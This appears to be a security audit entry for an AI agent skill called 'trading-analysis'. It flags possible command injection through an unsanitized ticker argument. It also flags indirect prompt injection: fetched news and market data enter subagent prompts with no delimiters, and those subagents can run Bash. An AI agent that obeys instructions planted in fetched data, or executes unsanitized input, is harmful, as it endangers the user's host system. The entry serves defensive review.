The Agent Skills Directory

[COMMAND_EXECUTION]: The skill executes local Python scripts using the uv run command. These scripts are invoked using absolute paths targeting a specific user's directory (/Users/davidchen/repo/TradingAgents and /Users/davidchen/repo/claude-trading-agents), which allows for code execution on the host system. Additionally, the ticker symbol extracted from user arguments is passed directly into shell commands as a CLI argument (--ticker $TICKER). If the extracted ticker contains shell metacharacters and the agent does not sanitize it, this creates a potential command injection surface.
[INDIRECT_PROMPT_INJECTION]: The skill is designed to ingest and act upon data from external news and market analysis sources, which presents a surface for indirect prompt injection attacks.
Ingestion points: External data fetched by the data-retrieval scripts (news, fundamentals, and macro context) is consumed and processed by multiple subagents.
Boundary markers: The skill lacks delimiters or protective instructions when interpolating fetched data into subagent prompts.
Capability inventory: The subagents possess command execution capabilities through the Bash tool to run the provided analysis scripts.
Sanitization: No validation or sanitization of the fetched external data is performed before it is included in the prompt context.

trading-analysis